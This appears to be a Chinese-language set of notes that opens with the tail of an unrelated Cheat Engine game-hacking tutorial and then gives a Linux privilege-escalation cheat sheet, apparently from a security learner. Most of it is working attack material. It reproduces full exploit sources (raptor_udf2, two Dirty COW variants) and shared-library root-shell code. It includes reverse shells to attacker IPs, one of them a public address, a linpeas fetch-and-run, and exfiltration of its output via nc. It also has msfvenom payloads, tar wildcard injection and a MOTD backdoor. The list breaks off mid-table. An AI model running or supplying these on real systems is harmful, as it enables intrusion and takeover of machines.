现在我们需要向脚本添加一些注入代码，然后添加一些代码来检查结构的 team 变量，以确定哪些角色是盟友，哪些是战斗人员。

所以我们想要一些这样的。

因此，启用此脚本后，当游戏写入 Actor 生命值时，以下是跳转到 Hook 代码后将发生的情况：

保存（PUSH） RFLAGS 寄存器，不是完全需要的，但在比较时仍然是一个好习惯。
检查 actor 是否在团队 1 中。
1. 如果 actor 在团队 1 中，则我们将新值设置为浮点格式的 5000。
检查 actor 是否在团队 2 中。
1. 如果 actor 在团队 2 中，则我们将新值以十六进制格式设置为 0。（浮点数 0 == int 0 == 十六进制 0）
恢复（POP） RFLAGS 寄存器，如果寄存器被 PUSH 化，则完全需要这样做。

启用此脚本后，单击 *restart game and autoplay* 按钮，然后您应该会看到表单发生变化，如下所示。

因此**，单击*下一步*按钮**完成本教程。

然后，您应该会看到一个表单，告诉您已完成本教程。

在寄存器中查找差异

找到降低生命值的函数后。

右键单击反汇编器视图表单中的指令，然后选择 *find out what addresses this instruction accesss（找出此指令访问的地址*）。

然后点击所有 4 个值的 attack 按钮。

调试器列表中应包含所有 4 个地址。

现在让我们看看寄存器，看看我们是否能找到盟友和战斗人员的不同之处。

单独选择每个地址，然后按 Ctrl+R。

排列表单以使其更易于比较。

所以在这里我们可以看到 Fighterants 的 RSI 为 1。

所以像这样的脚本应该可以工作。

因此，启用此脚本后，当游戏写入 Actor 生命值时，以下是跳转到 Hook 代码后将发生的情况：

保存（PUSH） RFLAGS 寄存器，不是完全需要的，但在比较时仍然是一个好习惯。
检查 RSI register 是否为 1。
1. 如果 RSI register 为 1，则我们将新值以十六进制格式设置为 0。（浮点数 0 == int 0 == 十六进制 0）
2. 如果 RSI register 不为 1，则我们假设参与者是盟友，因此我们将新值设置为浮点格式的 5000。
恢复（POP） RFLAGS 寄存器，如果寄存器被 PUSH 化，则完全需要这样做。

启用此脚本后，单击 restart game and autoplay 按钮，然后您应该会看到表单发生变化，如下所示。

因此**，单击*下一步*按钮**完成本教程。

然后，您应该会看到一个表单，告诉您已完成本教程。

PS：

提示1: 健康是一个单浮点数
提示2: 解法不只一种

Linux提权

Sat, 25 Mar 2023 13:43:00 GMT

Linux提权

root用户创建新用户

# 使用 useradd 命令添加用户
sudo useradd username
echo "username:x:0:0::/:/bin/sh" >> /etc/passwd       # 修改passwd添加用户，然后修改密码passwd username
# 设置用户密码
sudo passwd username
# 可选：为用户指定主目录
sudo useradd -d /path/to/home username
# 可选：为用户指定 shell
默认情况下，新用户的 shell 是 /bin/bash。如果你想要指定一个不同的 shell，可以使用 -s 选项：
sudo useradd -s /path/to/shell username
# 可选：为用户添加附加信息
sudo useradd -c "Full Name" username
# 可选：为用户创建主目录并复制默认配置
如果你希望在创建用户的同时创建主目录并复制默认配置文件，可以使用 -m 选项：
sudo useradd -m username
# 可选：为用户添加到组
sudo useradd -G group1,group2 username

安全机制

提权、免杀时需要对抗

ugo
suid sgid
Capabilities
AppArmor Selinux
ACL

Grsecurity
Pax
ExecShield
ASLR（Address Space Layout Randomization）
TOMOYO Linux
SMACK
Yama
CGroups
Linux Namespaces
StackGuard
Proplice
seccomp
ptrace
capsicum
Mprotect
chroot
firejail

原理

1、低权限可以修改可执行文件或者脚本，能以高权限身份运行
2、用低权限用户的运维人员也需要记忆输入备份凭据，以备高权限用户的时候完成操作
3、在权限的上层，在内存、CPU等，捕捉、拦截、修改凭据或者权限信息，操作敏感信息来实现的内核利用

枚举

高地权限第一步都是进行枚举，横向渗透、撕口子，首先需要一个交互性的shell
python -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo
export TERM=xterm-color
rlwrap nc -lvnp 4433  rlwrap命令可以包裹命令  # 提升交互性

自动枚举

不足：产生流量特征、时间长、存在遗漏
提权阶段的工具
Linpeas  ## 新版本叫PEASS-ng
LinEnum
linux-smart-enumeration
linux-exploit-suggester
linuxprivchecker
unix-privesc-check

# 在线下载执行并不留下文件
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20240324-2c3cd766/linpeas.sh | sh

结果返回攻击机

方法一

# 攻击机开启web服务
python -m http.server 8000
# 攻击机开启监听
nc -lvnp 8001 | tee linpeas.txt

# 靶机
curl 10.1.239.136/linpeas.sh | sh | nc 10.1.239.136 8001

# 读结果，因为是二进制文件，使用less -r参数
less -r linpeas.txt

方法二

# 攻击机开启监听并重定向输入linpeas.sh
nc -lvnp 8000 < linpeas.sh

# 靶机使用cat输入执行结果，通过伪设备进行通信这样就绕过了curl
cat < /dev/tcp/10.1.239.136/8000 | sh

手工枚举

whoami
id        id root
who
w
last

# 内核
uname -a
lsb_release -a
cat /proc/version
hostnamectl

# 网卡
ip addr   ip a
ifconfig
ip route  # 路由表
arp -a
ip neigh  # 网络邻居

hostname
hostnamectl
sudo -l

# capabilities
getcap -r / 2>/dev/null  # 得到权限能力属性

ls -a
ls -liah
history
cat /etc/passwd
cat /etc/crontab
echc $PATH
ps -ef
ps -axjf  # x：未连接终端的进程 j：显示进程数 f：输出格式
ps -aux   # a：所有用户进程 u：显示启动进程的用户
top

netstat -au
netstat -l
netstat -at
netstat -s  # 网络统计

find / -perm -u=s -type f 2>/dev/null  # 列出有suid的权限命令
# -perm -u=s: 这个选项用于指定要查找的文件权限。-perm表示按照指定的权限进行搜索，-u=s表示搜索具有 SetUID 权限的文件。SetUID 权限是一种特殊的权限设置，允许一个程序在执行时以文件所有者的身份运行，即使实际执行者可能不是文件所有者。
# -type f: 这个选项指定了要查找的文件类型，这里是普通文件。
which awk perl python ruby gcc vi vim nmap find netcat nc wget tftp tmux screen 2>/dev/null

cat /etc/fstab  # 检测没有被挂载的磁盘信息

服务漏洞利用

UDF   # user defined function
# 类似内置函数，通过UDF满足用户对数据库执行自定义操作

提权条件

# 1、掌握mysql数据库的账号，拥有create、insert、delete权限
# 2、secure_file_priv为空，这是用来限制：Load data、select into outfile、load_file()

利用

1、查找exp
searchsploit mysql udf
------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                           |  Path
------------------------------------------------------------------------- ---------------------------------
MySQL 4.0.17 (Linux) - User-Defined Function (UDF) Dynamic Library (1)   | linux/local/1181.c
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)  | linux/local/1518.c
MySQL 4.x/5.0 (Windows) - User-Defined Function Command Execution        | windows/remote/3274.txt
MySQL 4/5/6 - UDF for Command Execution                                  | linux/local/7856.txt
------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

2、使用1518.c
searchsploit mysql udf -m 1518
1518.c：
/*
 * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $
 *
 * raptor_udf2.c - dynamic library for do_system() MySQL UDF
 * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * This is an helper dynamic library for local privilege escalation through
 * MySQL run with root privileges (very bad idea!), slightly modified to work
 * with newer versions of the open-source database. Tested on MySQL 4.1.14.
 *
 * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c
 *
 * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes
 * for the security vulnerabilities in the handling of User Defined Functions
 * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further
 * details, please refer to:
 *
 * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html
 * http://www.wisec.it/vulns.php?page=4
 * http://www.wisec.it/vulns.php?page=5
 * http://www.wisec.it/vulns.php?page=6
 *
 * "UDFs should have at least one symbol defined in addition to the xxx symbol
 * that corresponds to the main xxx() function. These auxiliary symbols
 * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and
 * xxx_add() functions". -- User Defined Functions Security Precautions
 *
 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf2.c
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
 * mysql> create function do_system returns integer soname 'raptor_udf2.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+----------------+----------+
 * | name      | ret | dl             | type     |
 * +-----------+-----+----------------+----------+
 * | do_system |   2 | raptor_udf2.so | function |
 * +-----------+-----+----------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
 * mysql> \! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * [...]
 *
 * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
 *
 */

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
        unsigned int            arg_count;      // number of arguments
        enum Item_result        *arg_type;      // pointer to item_result
        char                    **args;         // pointer to arguments
        unsigned long           *lengths;       // length of string args
        char                    *maybe_null;    // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
        char                    maybe_null;     // 1 if func can return NULL
        unsigned int            decimals;       // for real functions
        unsigned long           max_length;     // for string functions
        char                    *ptr;           // free ptr for func data
        char                    const_item;     // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
        if (args->arg_count != 1)
                return(0);

        system(args->args[0]);

        return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
        return(0);
}

// milw0rm.com [2006-02-20]

gcc -g -c filename.c -fPIC
-g # 指定生成调试信息
-c # 仅编译源代码，但不进行链接，通常会生成.o扩展名的文件，对于将多个源码文件分别编译成目标文件，然后链接成一个可执行文件或库时有用
-fPIC # 告诉编译器生成位置无关代码（position independent code）可以在内存中的任何位置执行，可以被多个程序共享

1、连接mysql数据库
2、show variables like '%secure_file_priv%'
3、show variables like '%plugin%'
%secure_file_priv%位置为空或者与%plugin%位置相同才可使用UDF提权

mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;

# mysql.func可以执行系统命令
eg：select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

# 使用-p参数以特权用户来执行一个shell
/tmp/rootbash -p

提权利用

shadow和passwd利用提权

思路一

ls -liah /etc/shadow  # 查看权限
cat /etc/shadow | grep ':\$'  # 提取带有hash的用户
sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash  # 枚举破解

思路二

ls -liah /etc/shadow  # 查看权限
cp /etc/shadow /tmp/shadow.bak  # 备份
# 生成用户密码hash，常用linux的密码hash类型由前面的$6$可以识别，一般是sha512
mkpasswd -m sha-512 123456  # 生成密码hash
# 写入shadow文件

思路三

ls -liah /etc/passwd  # 查看权限
cp /etc/passwd /tmp/passwd.bak  # 备份
openssl passwd 123456  # 生成hash
# 生成的hash替换passwd的x，注意这里是通过可写的passwd来进行密码替换

sudo环境变量提权

sudo -l  # 查看当前用户能执行什么系统命令
# env_reset, env_keep=LD_PRELOAD  加载共享库，可以提权
vim shell.c：

#include <stdio.h>  # 标准输入输出库
#include <sys/types.h>  # 数据类型库
#include <stdlib.h>   # C语言标准库
#include <unistd.h>

void _init() {  # 预加载，执行的时候优先main函数
    unsetenv("LD_PRELOAD");  # 因为加载一遍就够了，开始执行之后就把环境变量预加载卸载掉
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

gcc -fPIC -shared -o shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/home/user/shell.so find  # 前提是find可以以root用户执行，预加载了环境变量提权逻辑

自动任务提权

定时任务提权

cat /etc/crontab
# 存在计划任务
* * * * * root overwrite.sh
locate overwrite.sh  # 得到文件位置
└─# ll  /usr/local/bin/overwrite.sh        
-rwxr-xr-x 1 root root 56 Apr  1 09:20 /usr/local/bin/overwrite.sh

攻击机设置监听
sudo nc -lvnp 4444
靶机编写overwrite.sh
#!/bin/bash

bash -i >& /dev/tcp/10.1.239.136/4444 0>&1

echo -e "#!/bin/bash\n\nbash -i >& /dev/tcp/43.142.170.25/6677 0>&1" > 1.sh
printf '#!/bin/bash\n\nbash -i >& /dev/tcp/43.142.170.25/6677 0>&1' > 1.sh

# 一分钟后得到root权限

PATH环境变量提权

cat /crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/dcj:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
* * * * * root overwrite.sh

其中不只有命令
SHELL=/bin/sh
还有指定环境变量路径，存在/home/dcj:，可以直接在普通用户的环境变量目录中写文件执行
PATH=/home/dcj:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# PS：一般来说程序执行时会选取环境变量目录靠前的来执行，所以直接编写overwrite.sh在家目录即可
#!/bin/bash

cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
# 给执行权限
chmod +x overwrite.sh
# 执行
/tmp/rootbash -p
# -p 以root权限执行
获取root权限

通配符提权

cat /etc/crontab
# 存在/usr/local/bin/compress.sh
# 查看文件内容是备份目录下所有内容到/tmp目录下，通常是管理员用来备份系统文件的命令
#!/bin/bash
cd /home/dcj/tmp
tar czf /tmp/backup.tar.gz *
# tar命令打包时有一个参数是检查点
--checkpoint-action=ACTION

1、构造反弹shell
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.1.239.136 LPORT=4444 -f elf -o shell.elf

2、靶机下载
wget 10.1.239.136:8000/shell.elf

3、检查点命令
# 在靶机的这个目录下创建检查点
touch /home/dcj/tmp/--checkpoint=1
touch /home/dcj/tmp/--checkpoint-action=exec=sh ./1.sh
touch /home/dcj/tmp/--checkpoint-action=exec=shell.elf

4、监听
sudo nc -lvnp 4444

SUID提权

可执行文件已知利用提权

find / -perm -u=s -type f 2>/dev/null
# 利用exim-4.84
searchsploit exim
chmod +x 39535.sh
./39535.sh

共享库注入

find / -perm -u=s -type f 2>/dev/null
strace 命令  # 追踪查看命令运行内容
# 运行了.so文件这里可以被利用
eg：调用了/home/dcj/libcalc.so
编写libcalc.c

#include <stdio.h>
#include <stdblib.h>
#include <unistd.h>

static void inject() __attribute__((constructor));

void inject() {
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}

static void inject()：这是一个函数声明，函数名为 inject，返回类型为 void，表示该函数不返回任何值。static 关键字表示该函数只在当前文件（共享对象文件）中可见，不能被其他文件访问。

_attribute__((constructor))：这是 GCC 和兼容的编译器提供的一个特殊属性，用于将函数标记为构造函数（constructor）。构造函数是一种特殊的函数，它在程序开始执行之前自动被调用。在这个例子中，inject 函数被标记为构造函数，因此它将在共享对象文件被加载时自动执行。

# PS：本来是要用管理员权限的程序调用这个.so文件来进行提权，没有调用的环境，这里编写了一个C程序进行调用，需要用管理员用户执行这个C程序

验证，编写load_and_execute.c

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

int main() {
    void *handle;
    void (*inject_function)();

    // 打开共享对象文件
    handle = dlopen("./libcalc.so", RTLD_LAZY);
    if (!handle) {
        fprintf(stderr, "无法打开共享对象文件: %s\n", dlerror());
        return 1;
    }

    // 获取共享对象文件中的inject函数
    inject_function = dlsym(handle, "inject");
    if (!inject_function) {
        fprintf(stderr, "无法获取inject函数: %s\n", dlerror());
        dlclose(handle);
        return 1;
    }

    // 调用inject函数
    (*inject_function)();

    // 关闭共享对象文件
    dlclose(handle);

    return 0;
}

gcc -o load_and_execute sudoload_and_execute.c -ldl
# -ldl是GCC编译器的一个参数，用于指定链接程序时需要链接的动态链接库。在Linux系统中，-ldl用于链接libdl库，该库包含了动态链接器的相关函数，如dlopen()、dlsym()等。
sudo ./load_and_execute.c

环境变量利用提权

find / -perm -u=s -type f 2>/dev/null

# 这里使用的suid-env

strings /usr/local/bin/suid-env  # 查看使用了什么字符串，能够看到存在service apache2 start，启动了apache2服务，这里用的是相对路径，不是绝对路径，可以进行劫持，构造service，不是原本的service，让它执行我们的service，这里用C语言编写一个服务
编写service.c

#include <sidio.h>
#include <stdlib.h>
#include <unistd.h>

void main() {
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}

gcc -o service service.c

# 编写的服务在当前路径下，但是环境变量中并没有写上这个路径，所以需要将当前目录加到环境变量中

export PATH=.:$PATH

# 执行后调用了service命令得到shell

巧用shell功能#1

find / -perm -u=s -type f 2>/dev/null

# 这次的suid-env2命令中服务写上了路径/usr/sbin/service apache2 start
查看当前bash版本
bash -version  4.1.5
# 小于4.2时可以使用路径组合来作为文件名
function /usr/sbin/service { /bin/bash -p; }
# 相当于用函数名劫持了真正的service命令
# 然后再加上环境变量，-f指加入环境变量的是函数
export -f /usr/sbin/service
# 执行有suid权限且调用了/usr/sbin/service apache2 start的那条命令即可

巧用shell功能#2

find / -perm -u=s -type f 2>/dev/null

# 这次的suid-env2命令中服务写上了路径/usr/sbin/service apache2 start
查看当前bash版本
bash -version  4.1.5
# 小于4.4时可以考虑在调试模式下对bash的环境变量进行设置，放进我们可以执行的代码

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
# -i  忽略当前已有的任何环境变量的选项
# SHELLOPTS  环境变量的选项集，可以有多个选项用冒号分隔
# xtrace  指shell执行每个命令前先打印这个命令
# PS4  Prompt String提示字符串，PS4结合xtrace使用，bash版本在4.4以下就可以在PS4这个提示字符串命令下加入提权命令

密码和密钥提权

历史文件提权

history  # 查看历史命令
cat ~/.*history | less
cat /root/.bash_history
cat .viminfo

配置文件查看提权

# 查找可能存在的配置文件：网站、应用、数据库、ssh、vpn……
eg：pwd
ls -liah
cat myvpn.ovpn
cat /etc/openvpn/auth.txt

ssh密钥敏感信息提权

# ssh相关文件、系统目录下.ssh文件夹
存在私钥key
vim rd_rsa
chmod 600 id_rsa
sudo ssh -i id_rsa -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss -oHostKeyAlgorithms=ssh-rsa,ssh-dss root@10.1.239.136
# oHostKeyAlgorithms=ssh-rsa,ssh-dss  指定算法类型
# oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss  指定能够接受的公钥类型，这样就有了共同的签名

NFS提权

NFS  共享文件模式（网络、文件、分享），可以用来撕口子，也可以用来提权

# 需要靶机是否存在NSF服务
cat /etc/exports
# 如果存在no_root_squash表示可以进行NSF提权利用尝试
mkdir /tmp/nfs
# 本地使用，挂载到目标靶机上的/tmp目录下
mount -o rw,vers=3 靶机IP:/tmp /tmp/nfs
# 生成一个shell
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
# 靶机中执行即可
/tmp/shell.elf

内核利用提权

uname -a  # 查看内核版本 2.6.32
# 使用linpeas查看内核存在的漏洞，存在dirtycow(脏牛)漏洞
searchsploit 40611
-------------------------------------------------------------------------------------------- --------------------
 Exploit Title                                                                              |  Path
-------------------------------------------------------------------------------------------- --------------------
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method) | linux/local/40611.c
-------------------------------------------------------------------------------------------- --------------------
Shellcodes: No Results

searchsploit -m 40611
40611.c：
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}
# 编译
gcc -pthread dirtyc0w.c -o dirtyc0w
# 执行
./dirtyc0w
# 40611是写入方法（Write Access Method），用的是写入内存，调用麻烦

40839.c：
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}
# 编译
gcc 40839.c -o dirty -lcrypt
./dirty
# 输入密码
# 创建用户成功，使用密码登录

gcc -pthread dirty.c -o dirty -lcrypt

doas less+vi提权

uname -a
# 系统为openBSD
find / -group user -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# 存在/usr/bin/doas

cat /etc/doas.conf
permit nopass keepenv dcj as root cmd /usr/bin/less args /home/dcj/tmp/test.txt
permit nopass keepenv root as root
# 允许的权限在没有密码的情况下，保持环境变量，user的用户可以按照root用户来执行，可以执行/usr/bin/less args /var/log/authlog

# 原理是less命令中有一个v参数，表示查看文件时使用vi编辑器进行编辑
# 进入编辑器
doas /usr/bin/less /home/dcj/tmp/test.txt
# 按v
输入:!sh
# 返回了root权限的shell

利用MOTD机制提权

MOTD（message of the day）当登录linux服务器的时候会显示一些欢迎信息

# 在Linux中，/etc/update-motd.d目录下的脚本和程序是以root用户的身份运行的
# /etc/motd是一个文本文件，用于在用户登录系统时显示一条消息。该消息通常用于向用户提供系统的重要信息、公告、警告或其他相关通知

# 理论上修改 motd 下的任何文件都可,提权时通常修改 /etc/update-motd.d/00-header 文件
echo "bash -c 'bash -i >& /dev/tcp/10.1.239.136/4444 0>&1'" >> /etc/update-motd.d/00-header
# 开启监听
sudo nc -lnvp 4444

可预测PRNG暴力破解SSH提权

当有服务器的公钥时，需要用自己的私钥进行登录，但是并没有对应的私钥，这里需要用一个库，伪随机数生成器————PRNG（pseudo random number generator）

└─$ searchsploit prng
----------------------------------------------------------------------------------- ---------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------
GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (1)             | multiple/remote/32673.java
GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (2)             | multiple/remote/32674.cpp
LPRng (RedHat 7.0) - 'lpd' Format String                                           | linux/remote/227.c
LPRng - use_syslog Remote Format String (Metasploit)                               | linux/remote/16842.rb
LPRng 3.6.22/23/24 - Remote Command Execution                                      | linux/remote/226.c
LPRng 3.6.24-1 - Remote Command Execution                                          | linux/remote/230.c
LPRng 3.6.x - Failure To Drop Supplementary Groups                                      | unix/local/20923.c
